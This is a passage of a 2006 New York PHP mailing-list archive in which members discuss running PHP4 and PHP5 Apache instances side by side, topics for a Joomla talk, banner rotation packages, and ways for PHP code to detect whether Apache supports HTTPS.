graceful reboot on Apache. > > So again I'm not concerned with individual scripting compatability > issuews, but do you see this strategy as > technically sound to allow me to flip back and forth between PHP 4 and PHP > 5, if I so needed? Yeah, that would work. Personally, I do the following: 1. Add an additional IP address to my dev box. In a private network this might be: 192.168.0.10 192.168.0.11 2. Setup two apache config files that: - each is bound to one or more IPs explicitly, not the wildcard */0.0.0.0 - one uses PHP4, one uses PHP5 - each may load the same or separate vhosts... depends on what you're trying to accomplish. You can do name or IP based virtual hosting. Just make sure the two apache's IPs don't overlap. These might be: /etc/apache2/apache2-php4.conf /etc/apache2/apache2-php5.conf 3. Setup a separate init script for each - one may be the same if you left one config file in the original place. These might be: /etc/init.d/apache2-php4 /etc/init.d/apache2-php5 4. Start your apaches: /etc/init.d/apache-php4 start /etc/init.d/apache-php5 start Voila! Then you don't need to edit or restart anything. You have both environments up and running seamlessly with neither running as a CGI, etc. PS. The same strategy could be used to run a second apache on a separate port. HTH, Andrew -- Andrew Yochum Plexpod andrew at plexpod.com 718-360-0879 From mitch.pirtle at gmail.com Fri Jul 14 12:27:40 2006 From: mitch.pirtle at gmail.com (Mitch Pirtle) Date: Fri, 14 Jul 2006 12:27:40 -0400 Subject: [nycphp-talk] Joomla presentation this month Message-ID: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com> Hi gang, Apologies for the cross-post, however I wanted to make sure I got to as many of you as possible. I'm preparing the presentation and would like to know: Just what exactly do you want to learn from this presentation? Feel free to spout off whatever you are looking for, as I can tailor the presentation. This time I hope to only put two or three of you to sleep, as opposed to the four of you when I presented Mambo last year. :-) I'm expecting a mix of technical/non-technical in the audience, so it would be great if I could better target the information that you are hoping me to cover. Let 'em rip! -- Mitch From alex at pilgrimstudio.com Fri Jul 14 12:47:19 2006 From: alex at pilgrimstudio.com (Alexander) Date: Fri, 14 Jul 2006 12:47:19 -0400 Subject: [nycphp-talk] Joomla presentation this month In-Reply-To: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com> References: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com> Message-ID: <60204.160.79.66.98.1152895639.squirrel@pilgrimstudio.com> Hi, How about architectural overview among with some info about Joomla customization? I believe it also might be nice to see/hear some information about performance,flexibility and etc. in comparison with other CMSs... ps. espresso at the front door will keep everyone awake :) > Hi gang, > > Apologies for the cross-post, however I wanted to make sure I got to > as many of you as possible. > > I'm preparing the presentation and would like to know: > > Just what exactly do you want to learn from this presentation? > > Feel free to spout off whatever you are looking for, as I can tailor > the presentation. This time I hope to only put two or three of you to > sleep, as opposed to the four of you when I presented Mambo last year. > :-) > > I'm expecting a mix of technical/non-technical in the audience, so it > would be great if I could better target the information that you are > hoping me to cover. Let 'em rip! > > -- Mitch > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > -- Best regards, Alexander From ps at pswebcode.com Fri Jul 14 12:53:17 2006 From: ps at pswebcode.com (Peter Sawczynec) Date: Fri, 14 Jul 2006 12:53:17 -0400 Subject: [nycphp-talk] Joomla presentation this month In-Reply-To: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com> Message-ID: <00db01c6a766$0188e790$68e4a144@Rubicon> I have only used joomla one time for a task, but I found that immediately: 1) Needed to customize the menu system. 2) Had to make design changes to the template files. How to customize without breaking upgrade compatibility? 3) I needed to install custom modules. What modules are available: shopping cart, events calendar, etc. Had to find where I can get them: What sites? Cost/free? How to install a module. How to configure a module. 4) Needed to know about URL rewrite. Warmest regards, Peter Sawczynec, Technology Director PSWebcode _Design & Interface _Ecommerce _Database Management ps at pswebcode.com 718.796.1951 www.pswebcode.com -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Mitch Pirtle Sent: Friday, July 14, 2006 12:28 PM To: NYPHP SIG: Joomla; NYPHP Talk Subject: [nycphp-talk] Joomla presentation this month Hi gang, Apologies for the cross-post, however I wanted to make sure I got to as many of you as possible. I'm preparing the presentation and would like to know: Just what exactly do you want to learn from this presentation? Feel free to spout off whatever you are looking for, as I can tailor the presentation. This time I hope to only put two or three of you to sleep, as opposed to the four of you when I presented Mambo last year. :-) I'm expecting a mix of technical/non-technical in the audience, so it would be great if I could better target the information that you are hoping me to cover. Let 'em rip! -- Mitch _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From urb at e-government.com Fri Jul 14 13:54:52 2006 From: urb at e-government.com (Urb LeJeune) Date: Fri, 14 Jul 2006 13:54:52 -0400 Subject: [nycphp-talk] Joomla presentation this month In-Reply-To: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.co m> References: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com> Message-ID: <7.0.1.0.0.20060714135425.041dd350@e-government.com> >I'm preparing the presentation and would like to know: When and were will the presentation be held? Urb From ereyes at totalcreations.com Fri Jul 14 14:15:48 2006 From: ereyes at totalcreations.com (Edgar Reyes) Date: Fri, 14 Jul 2006 14:15:48 -0400 Subject: [nycphp-talk] Joomla presentation this month In-Reply-To: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com> Message-ID: <006901c6a771$887f8780$6500a8c0@ERTop> I would like to see how to customize the look and feel of it, and if possible to have different looks for different parts of the site. Thanks. ER -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Mitch Pirtle Sent: Friday, July 14, 2006 11:28 AM To: NYPHP SIG: Joomla; NYPHP Talk Subject: [nycphp-talk] Joomla presentation this month Hi gang, Apologies for the cross-post, however I wanted to make sure I got to as many of you as possible. I'm preparing the presentation and would like to know: Just what exactly do you want to learn from this presentation? Feel free to spout off whatever you are looking for, as I can tailor the presentation. This time I hope to only put two or three of you to sleep, as opposed to the four of you when I presented Mambo last year. :-) I'm expecting a mix of technical/non-technical in the audience, so it would be great if I could better target the information that you are hoping me to cover. Let 'em rip! -- Mitch _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From edwardpotter at gmail.com Fri Jul 14 14:23:27 2006 From: edwardpotter at gmail.com (edward potter) Date: Fri, 14 Jul 2006 14:23:27 -0400 Subject: [nycphp-talk] Joomla presentation this month In-Reply-To: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com> References: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com> Message-ID: hi, Comparison to Drupal? It seems to be on a roll. Also, may it be an option to "roll your own"? All these mega packages seems to be over kill for me. I would LOVE to see a Wordpress Lite, A Drupal Lite, A Joomal Lite, osCommerce Lite, MediaWiki Lite. On editing the mother package, I have to wade through 100's (if not thousands) of line of code to add a feature I'd like to see. These applications seem to be for those that have little or no php experience, but if you are a php hacker, it would be great to just pull components from each package, like some monster library, and create a new hybrid? Is anyone thinking along those lines? Thinking it would be great to "mate", and combine all the good pieces into one. Just another crazy idea. thanks, ed :-) On 7/14/06, Mitch Pirtle wrote: > Hi gang, > > Apologies for the cross-post, however I wanted to make sure I got to > as many of you as possible. > > I'm preparing the presentation and would like to know: > > Just what exactly do you want to learn from this presentation? > > Feel free to spout off whatever you are looking for, as I can tailor > the presentation. This time I hope to only put two or three of you to > sleep, as opposed to the four of you when I presented Mambo last year. > :-) > > I'm expecting a mix of technical/non-technical in the audience, so it > would be great if I could better target the information that you are > hoping me to cover. Let 'em rip! > > -- Mitch > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > From joelee724 at gmail.com Fri Jul 14 14:27:23 2006 From: joelee724 at gmail.com (Joe Lee) Date: Fri, 14 Jul 2006 14:27:23 -0400 Subject: [nycphp-talk] Question about htaccess logs Message-ID: <44B7E20B.7050401@gmail.com> Hi All, I have a htpasswd setup for a site. Is there any sort of logs to see when a user have logged in using the htaccess account? -joe From ajai at bitblit.net Fri Jul 14 14:47:11 2006 From: ajai at bitblit.net (Ajai Khattri) Date: Fri, 14 Jul 2006 14:47:11 -0400 Subject: [nycphp-talk] Joomla presentation this month In-Reply-To: <006901c6a771$887f8780$6500a8c0@ERTop> References: <006901c6a771$887f8780$6500a8c0@ERTop> Message-ID: <44B7E6AF.1050100@bitblit.net> Edgar Reyes wrote: > I would like to see how to customize the look and feel of it, and if > possible to have different looks for different parts of the site. Sure you can, you can assign different templates to different parts of a site... -- A From ajai at bitblit.net Fri Jul 14 14:49:16 2006 From: ajai at bitblit.net (Ajai Khattri) Date: Fri, 14 Jul 2006 14:49:16 -0400 Subject: [nycphp-talk] Joomla presentation this month In-Reply-To: References: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com> Message-ID: <44B7E72C.2040304@bitblit.net> edward potter wrote: > I would LOVE to see a Wordpress Lite TextPattern maybe? > On editing the mother package, I > have to wade through 100's (if not thousands) of line of code to add a > feature I'd like to see. Really? I just created a new component... about 200 lines of code... -- A From ajai at bitblit.net Fri Jul 14 14:50:32 2006 From: ajai at bitblit.net (Ajai Khattri) Date: Fri, 14 Jul 2006 14:50:32 -0400 Subject: [nycphp-talk] Joomla presentation this month In-Reply-To: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com> References: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com> Message-ID: <44B7E778.10807@bitblit.net> Mitch Pirtle wrote: > Feel free to spout off whatever you are looking for, as I can tailor > the presentation. This time I hope to only put two or three of you to > sleep, as opposed to the four of you when I presented Mambo last year. > :-) Here's something that came up recently: Would it be possible to import and static site into Joomla? If so, what would be the process for doing so? -- A From rmarscher at beaffinitive.com Fri Jul 14 14:56:29 2006 From: rmarscher at beaffinitive.com (Rob Marscher) Date: Fri, 14 Jul 2006 14:56:29 -0400 Subject: [nycphp-talk] Use php to check for ssl/https support in apache Message-ID: <44B7E8DD.2080009@beaffinitive.com> Hi All, I've done a bit of searching and haven't been able to find if there's a means that php running on apache can determine if apache supports ssl/https connections. It would be nice my app to force an https connection on certain pages if it is available. Otherwise I'll have to do it with a manual config switch. Running apache_get_modules() and checking for mod_ssl seems like an option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of production servers still use. Any other ideas? Thanks a lot, Rob From rotsen at gmail.com Fri Jul 14 15:07:46 2006 From: rotsen at gmail.com (Nestor) Date: Fri, 14 Jul 2006 12:07:46 -0700 Subject: [nycphp-talk] Use php to check for ssl/https support in apache In-Reply-To: <44B7E8DD.2080009@beaffinitive.com> References: <44B7E8DD.2080009@beaffinitive.com> Message-ID: What would happen if you file(https://www.domain.com)? You should get a FALSE if you were not able to read the file. N?stor :-) On 7/14/06, Rob Marscher wrote: > > Hi All, > > I've done a bit of searching and haven't been able to find if there's a > means that php running on apache can determine if apache supports > ssl/https connections. It would be nice my app to force an https > connection on certain pages if it is available. Otherwise I'll have to > do it with a manual config switch. > > Running apache_get_modules() and checking for mod_ssl seems like an > option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of > production servers still use. Any other ideas? > > Thanks a lot, > Rob > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > -------------- next part -------------- An HTML attachment was scrubbed... URL: From rmarscher at beaffinitive.com Fri Jul 14 15:19:41 2006 From: rmarscher at beaffinitive.com (Rob Marscher) Date: Fri, 14 Jul 2006 15:19:41 -0400 Subject: [nycphp-talk] Use php to check for ssl/https support in apache In-Reply-To: References: <44B7E8DD.2080009@beaffinitive.com> Message-ID: <44B7EE4D.8030003@beaffinitive.com> Yeah... that's pretty good. It does rely on allow_url_fopen php.ini being turned on, I believe. Maybe fopen(https://www.domain.com) would be slightly less overhead... the overhead isn't really a big deal though in this situation because it's only going to be used when writing a config file. Any other ideas that don't require allow_url_fopen? Thanks a lot, N?stor. :) -Rob Nestor wrote: > What would happen if you file(https://www.domain.com)? > You should get a FALSE if you were not able to read the file. > > N?stor :-) > > On 7/14/06, *Rob Marscher* > wrote: > > Hi All, > > I've done a bit of searching and haven't been able to find if there's a > means that php running on apache can determine if apache supports > ssl/https connections. It would be nice my app to force an https > connection on certain pages if it is available. Otherwise I'll have to > do it with a manual config switch. > > Running apache_get_modules() and checking for mod_ssl seems like an > option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of > production servers still use. Any other ideas? > > Thanks a lot, > Rob > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > > > ------------------------------------------------------------------------ > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php From rotsen at gmail.com Fri Jul 14 15:26:41 2006 From: rotsen at gmail.com (Nestor) Date: Fri, 14 Jul 2006 12:26:41 -0700 Subject: [nycphp-talk] Use php to check for ssl/https support in apache In-Reply-To: <44B7EE4D.8030003@beaffinitive.com> References: <44B7E8DD.2080009@beaffinitive.com> <44B7EE4D.8030003@beaffinitive.com> Message-ID: ROb, YOu can always try using Net_Ping::ping() read about here: http://pear.php.net/manual/en/html/package.networking.net-ping.ping.html It is supposed to return "returns message of the ping command" Here is an example code: --------------------- setArgs(array("count" => 5, "size" => 32, "ttl" => 512 ) ); var_dump($ping->ping("example.com")); ?> ---------------- N?stor :-) On 7/14/06, Rob Marscher wrote: > > Yeah... that's pretty good. It does rely on allow_url_fopen php.ini > being turned on, I believe. Maybe fopen(https://www.domain.com) would > be slightly less overhead... the overhead isn't really a big deal though > in this situation because it's only going to be used when writing a > config file. Any other ideas that don't require allow_url_fopen? > > Thanks a lot, N?stor. :) > > -Rob > > > Nestor wrote: > > What would happen if you file(https://www.domain.com)? > > You should get a FALSE if you were not able to read the file. > > > > N?stor :-) > > > > On 7/14/06, *Rob Marscher* > > wrote: > > > > Hi All, > > > > I've done a bit of searching and haven't been able to find if > there's a > > means that php running on apache can determine if apache supports > > ssl/https connections. It would be nice my app to force an https > > connection on certain pages if it is available. Otherwise I'll have > to > > do it with a manual config switch. > > > > Running apache_get_modules() and checking for mod_ssl seems like an > > option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of > > production servers still use. Any other ideas? > > > > Thanks a lot, > > Rob > > _______________________________________________ > > New York PHP Community Talk Mailing List > > http://lists.nyphp.org/mailman/listinfo/talk > > New York PHP Conference and Expo 2006 > > http://www.nyphpcon.com > > Show Your Participation in New York PHP > > http://www.nyphp.org/show_participation.php > > > > > > > > ------------------------------------------------------------------------ > > > > _______________________________________________ > > New York PHP Community Talk Mailing List > > http://lists.nyphp.org/mailman/listinfo/talk > > New York PHP Conference and Expo 2006 > > http://www.nyphpcon.com > > Show Your Participation in New York PHP > > http://www.nyphp.org/show_participation.php > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > -------------- next part -------------- An HTML attachment was scrubbed... URL: From ajai at bitblit.net Fri Jul 14 15:46:15 2006 From: ajai at bitblit.net (Ajai Khattri) Date: Fri, 14 Jul 2006 15:46:15 -0400 Subject: [nycphp-talk] Use php to check for ssl/https support in apache In-Reply-To: References: <44B7E8DD.2080009@beaffinitive.com> <44B7EE4D.8030003@beaffinitive.com> Message-ID: <44B7F487.5020808@bitblit.net> Nestor wrote: > ROb, > > YOu can always try using Net_Ping::ping() > read about here: > http://pear.php.net/manual/en/html/package.networking.net-ping.ping.html > > It is supposed to return "returns message of the ping command" Ping only tells you that a machine is up and responding to ICMP messages - it won't tell you if the machine is running SSL or not. -- A -------------- next part -------------- An HTML attachment was scrubbed... URL: From urb at e-government.com Fri Jul 14 17:28:40 2006 From: urb at e-government.com (Urb LeJeune) Date: Fri, 14 Jul 2006 17:28:40 -0400 Subject: [nycphp-talk] Banner Rotation Package In-Reply-To: <44B7F487.5020808@bitblit.net> References: <44B7E8DD.2080009@beaffinitive.com> <44B7EE4D.8030003@beaffinitive.com> <44B7F487.5020808@bitblit.net> Message-ID: <7.0.1.0.0.20060714172717.04d82da0@e-government.com> Can anyone recommend a banner rotation package? I doesn't have to be free but must be well written and easy to modify. Thanks Urb From jbaer at VillageVoice.com Fri Jul 14 17:29:48 2006 From: jbaer at VillageVoice.com (Baer, Jon) Date: Fri, 14 Jul 2006 17:29:48 -0400 Subject: [nycphp-talk] Banner Rotation Package In-Reply-To: <7.0.1.0.0.20060714172717.04d82da0@e-government.com> Message-ID: <4D2FAD9B00577645932AD7ED5FECA24502DC7C06@mail> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Might be overkill, but free ... http://www.phpadsnew.com/two/ - - Jon - -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Urb LeJeune Sent: Friday, July 14, 2006 5:29 PM To: NYPHP Talk Subject: [nycphp-talk] Banner Rotation Package Can anyone recommend a banner rotation package? I doesn't have to be free but must be well written and easy to modify. Thanks Urb _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (MingW32) iD8DBQFEuAzM99e5DI8C/rsRAsF5AJsFPJE+xRwZbmANTInzKp2wCBp8fwCgtbmr z8FgzcVN57wnZDeR2CyiYOg= =KylG -----END PGP SIGNATURE----- From rmarscher at beaffinitive.com Fri Jul 14 17:36:15 2006 From: rmarscher at beaffinitive.com (Rob Marscher) Date: Fri, 14 Jul 2006 17:36:15 -0400 Subject: [nycphp-talk] Banner Rotation Package In-Reply-To: <7.0.1.0.0.20060714172717.04d82da0@e-government.com> References: <44B7E8DD.2080009@beaffinitive.com> <44B7EE4D.8030003@beaffinitive.com> <44B7F487.5020808@bitblit.net> <7.0.1.0.0.20060714172717.04d82da0@e-government.com> Message-ID: <44B80E4F.2090108@beaffinitive.com> Yeah... as Jon mentioned, phpAdsNew has had a lot of development and is widely used. MaxMediaManager is a project that is rewriting phpAdsNew to have many more features and use more OOP and good design patterns in the code. The 0.3 version of MaxMediaManager is nearing a stable version, but still has a lot of open bug tickets. But I've been using a version of it that I modified with a lot of success. Both of those are free... they have so many features, that like Jon said, might be overkill for your situation. -Rob Urb LeJeune wrote: > Can anyone recommend a banner rotation package? I doesn't > have to be free but must be well written and easy to modify. > > Thanks > > Urb > > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > From tedd at sperling.com Fri Jul 14 18:45:25 2006 From: tedd at sperling.com (tedd) Date: Fri, 14 Jul 2006 18:45:25 -0400 Subject: [nycphp-talk] Banner Rotation Package In-Reply-To: <7.0.1.0.0.20060714172717.04d82da0@e-government.com> References: <44B7E8DD.2080009@beaffinitive.com> <44B7EE4D.8030003@beaffinitive.com> <44B7F487.5020808@bitblit.net> <7.0.1.0.0.20060714172717.04d82da0@e-government.com> Message-ID: At 5:28 PM -0400 7/14/06, Urb LeJeune wrote: >Can anyone recommend a banner rotation package? I doesn't >have to be free but must be well written and easy to modify. > >Thanks > >Urb Urb: My apologies for using the list, but I replied to you privately twice -- did you receive my emails? tedd -- ------------------------------------------------------------------------------------ http://sperling.com http://ancientstones.com http://earthstones.com From rolan at omnistep.com Fri Jul 14 20:37:51 2006 From: rolan at omnistep.com (Rolan Yang) Date: Fri, 14 Jul 2006 20:37:51 -0400 Subject: [nycphp-talk] Use php to check for ssl/https support in apache In-Reply-To: <44B7E8DD.2080009@beaffinitive.com> References: <44B7E8DD.2080009@beaffinitive.com> Message-ID: <44B838DF.2010404@omnistep.com> Here are 2 ways to do it without resorting to fopen.. Only applies if your https is on the same server. The first is cleaner than the second, but neither are guaranteed to work. Use at your own risk. function check_https() { ob_start(); phpinfo(INFO_GENERAL); $phpinfo = ob_get_contents(); ob_end_clean(); $s=strpos($phpinfo,'Registered PHP Streams'); $e=strpos($phpinfo,"\n",$s); if (strstr(substr($phpinfo,$s,$e-$s),'https')) { return TRUE; } else { return FALSE; } } function check_https2() { ob_start(); phpinfo(INFO_GENERAL); $test=strstr(ob_get_contents(),'https'); ob_end_clean(); if ($test) { return TRUE;} else {return FALSE;} } ~Rolan Rob Marscher wrote: > Hi All, > > I've done a bit of searching and haven't been able to find if there's a > means that php running on apache can determine if apache supports > ssl/https connections. It would be nice my app to force an https > connection on certain pages if it is available. Otherwise I'll have to > do it with a manual config switch. > > Running apache_get_modules() and checking for mod_ssl seems like an > option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of > production servers still use. Any other ideas? > > Thanks a lot, > Rob > From kenzolist at counterfolk.com Fri Jul 14 20:44:45 2006 From: kenzolist at counterfolk.com (Ken) Date: Fri, 14 Jul 2006 20:44:45 -0400 Subject: [nycphp-talk] Use php to check for ssl/https support in apache In-Reply-To: <44B7E8DD.2080009@beaffinitive.com> Message-ID: <1.46145188808441.281.356370925903@1.00012355317098> At 02:56 PM 7/14/2006 -0400, Rob Marscher wrote: >I've done a bit of searching and haven't been able to find if there's a >means that php running on apache can determine if apache supports >ssl/https connections. It would be nice my app to force an https >connection on certain pages if it is available. Otherwise I'll have to >do it with a manual config switch. In my own app, I wrote this test (years ago) that works on the Apache servers I've used it with: No SSL if: (strpos($HTTP_SERVER_VARS["SERVER_SOFTWARE"], "ssl") === FALSE) - Ken From jonbaer at jonbaer.com Fri Jul 14 21:53:03 2006 From: jonbaer at jonbaer.com (Jon Baer) Date: Fri, 14 Jul 2006 21:53:03 -0400 Subject: [nycphp-talk] Use php to check for ssl/https support in apache In-Reply-To: <44B838DF.2010404@omnistep.com> References: <44B7E8DD.2080009@beaffinitive.com> <44B838DF.2010404@omnistep.com> Message-ID: <27A81BE1-0F83-4054-9B56-57872B3913E2@jonbaer.com> This may sound like a dumb question but wouldn't a test for a specific certificate file somehow be a better sign that SSL is setup? Like attaching a check, if (file_exists('/some/path/cert.pem')) header ("Location: https://secure/path/"); ? - Jon On Jul 14, 2006, at 8:37 PM, Rolan Yang wrote: > Here are 2 ways to do it without resorting to fopen.. Only applies if > your https is on the same server. The first is cleaner than the > second, > but neither are guaranteed to work. Use at your own risk. > > function check_https() { > ob_start(); > phpinfo(INFO_GENERAL); > $phpinfo = ob_get_contents(); > ob_end_clean(); > $s=strpos($phpinfo,'Registered PHP Streams'); > $e=strpos($phpinfo,"\n",$s); > if (strstr(substr($phpinfo,$s,$e-$s),'https')) { > return TRUE; > } > else { > return FALSE; > } > } > > function check_https2() { > ob_start(); > phpinfo(INFO_GENERAL); > $test=strstr(ob_get_contents(),'https'); > ob_end_clean(); > if ($test) { return TRUE;} > else {return FALSE;} > } > > ~Rolan > > Rob Marscher wrote: >> Hi All, >> >> I've done a bit of searching and haven't been able to find if >> there's a >> means that php running on apache can determine if apache supports >> ssl/https connections. It would be nice my app to force an https >> connection on certain pages if it is available. Otherwise I'll >> have to >> do it with a manual config switch. >> >> Running apache_get_modules() and checking for mod_ssl seems like an >> option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of >> production servers still use. Any other ideas? >> >> Thanks a lot, >> Rob >> > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > From cderr at simons-rock.edu Fri Jul 14 21:19:35 2006 From: cderr at simons-rock.edu (charlie derr) Date: Fri, 14 Jul 2006 21:19:35 -0400 Subject: [nycphp-talk] Use php to check for ssl/https support in apache In-Reply-To: <27A81BE1-0F83-4054-9B56-57872B3913E2@jonbaer.com> References: <44B7E8DD.2080009@beaffinitive.com> <44B838DF.2010404@omnistep.com> <27A81BE1-0F83-4054-9B56-57872B3913E2@jonbaer.com> Message-ID: <44B842A7.9010005@simons-rock.edu> Jon Baer wrote: > This may sound like a dumb question but wouldn't a test for a > specific certificate file somehow be a better sign that SSL is setup? > > Like attaching a check, if (file_exists('/some/path/cert.pem')) header > ("Location: https://secure/path/"); > > ? The existence of that file only means that SSL *might* be setup properly. It won't tell you that it's working right, and it certainly won't tell you that the connection you're coming in on is encrypted. Lots of places that serve https also serve plain vanilla http on the same IP. But as an additional check (for a specific cert) the above suggestion might still be useful. As long as it's not the only thing you're relying on to verify the https protocol. ~c > > - Jon > > On Jul 14, 2006, at 8:37 PM, Rolan Yang wrote: > > >>Here are 2 ways to do it without resorting to fopen.. Only applies if >>your https is on the same server. The first is cleaner than the >>second, >>but neither are guaranteed to work. Use at your own risk. >> >>function check_https() { >> ob_start(); >> phpinfo(INFO_GENERAL); >> $phpinfo = ob_get_contents(); >> ob_end_clean(); >> $s=strpos($phpinfo,'Registered PHP Streams'); >> $e=strpos($phpinfo,"\n",$s); >> if (strstr(substr($phpinfo,$s,$e-$s),'https')) { >> return TRUE; >> } >> else { >> return FALSE; >> } >>} >> >>function check_https2() { >> ob_start(); >> phpinfo(INFO_GENERAL); >> $test=strstr(ob_get_contents(),'https'); >> ob_end_clean(); >> if ($test) { return TRUE;} >> else {return FALSE;} >>} >> >>~Rolan >> >>Rob Marscher wrote: >> >>>Hi All, >>> >>>I've done a bit of searching and haven't been able to find if >>>there's a >>>means that php running on apache can determine if apache supports >>>ssl/https connections. It would be nice my app to force an https >>>connection on certain pages if it is available. Otherwise I'll >>>have to >>>do it with a manual config switch. >>> >>>Running apache_get_modules() and checking for mod_ssl seems like an >>>option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of >>>production servers still use. Any other ideas? >>> >>>Thanks a lot, >>>Rob >>> >> >>_______________________________________________ >>New York PHP Community Talk Mailing List >>http://lists.nyphp.org/mailman/listinfo/talk >>New York PHP Conference and Expo 2006 >>http://www.nyphpcon.com >>Show Your Participation in New York PHP >>http://www.nyphp.org/show_participation.php >> >> > > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php From rolan at omnistep.com Fri Jul 14 22:22:21 2006 From: rolan at omnistep.com (Rolan Yang) Date: Fri, 14 Jul 2006 22:22:21 -0400 Subject: [nycphp-talk] Use php to check for ssl/https support in apache In-Reply-To: <27A81BE1-0F83-4054-9B56-57872B3913E2@jonbaer.com> References: <44B7E8DD.2080009@beaffinitive.com> <44B838DF.2010404@omnistep.com> <27A81BE1-0F83-4054-9B56-57872B3913E2@jonbaer.com> Message-ID: <44B8515D.5060302@omnistep.com> Apache can be started without the SSL regardless of the certificate's existence. I just tested my code below and phpinfo reports https even when apache isn't listening on 443. Sorry. You can toss it all out the window! :( ~Rolan Jon Baer wrote: > This may sound like a dumb question but wouldn't a test for a > specific certificate file somehow be a better sign that SSL is setup? > > Like attaching a check, if (file_exists('/some/path/cert.pem')) header > ("Location: https://secure/path/"); > > ? > > - Jon > > On Jul 14, 2006, at 8:37 PM, Rolan Yang wrote: > > >> Here are 2 ways to do it without resorting to fopen.. Only applies if >> your https is on the same server. The first is cleaner than the >> second, >> but neither are guaranteed to work. Use at your own risk. >> >> function check_https() { >> ob_start(); >> phpinfo(INFO_GENERAL); >> $phpinfo = ob_get_contents(); >> ob_end_clean(); >> $s=strpos($phpinfo,'Registered PHP Streams'); >> $e=strpos($phpinfo,"\n",$s); >> if (strstr(substr($phpinfo,$s,$e-$s),'https')) { >> return TRUE; >> } >> else { >> return FALSE; >> } >> } >> >> function check_https2() { >> ob_start(); >> phpinfo(INFO_GENERAL); >> $test=strstr(ob_get_contents(),'https'); >> ob_end_clean(); >> if ($test) { return TRUE;} >> else {return FALSE;} >> } >> >> ~Rolan >> >> Rob Marscher wrote: >> >>> Hi All, >>> >>> I've done a bit of searching and haven't been able to find if >>> there's a >>> means that php running on apache can determine if apache supports >>> ssl/https connections. It would be nice my app to force an https >>> connection on certain pages if it is available. Otherwise I'll >>> have to >>> do it with a manual config switch. >>> >>> Running apache_get_modules() and checking for mod_ssl seems like an >>> option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of >>> production servers still use. Any other ideas? >>> >>> Thanks a lot, >>> Rob >>> >>> >> _______________________________________________ >> New York PHP Community Talk Mailing List >> http://lists.nyphp.org/mailman/listinfo/talk >> New York PHP Conference and Expo 2006 >> http://www.nyphpcon.com >> Show Your Participation in New York PHP >> http://www.nyphp.org/show_participation.php >> >> >> > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > From jonbaer at jonbaer.com Sat Jul 15 11:11:18 2006 From: jonbaer at 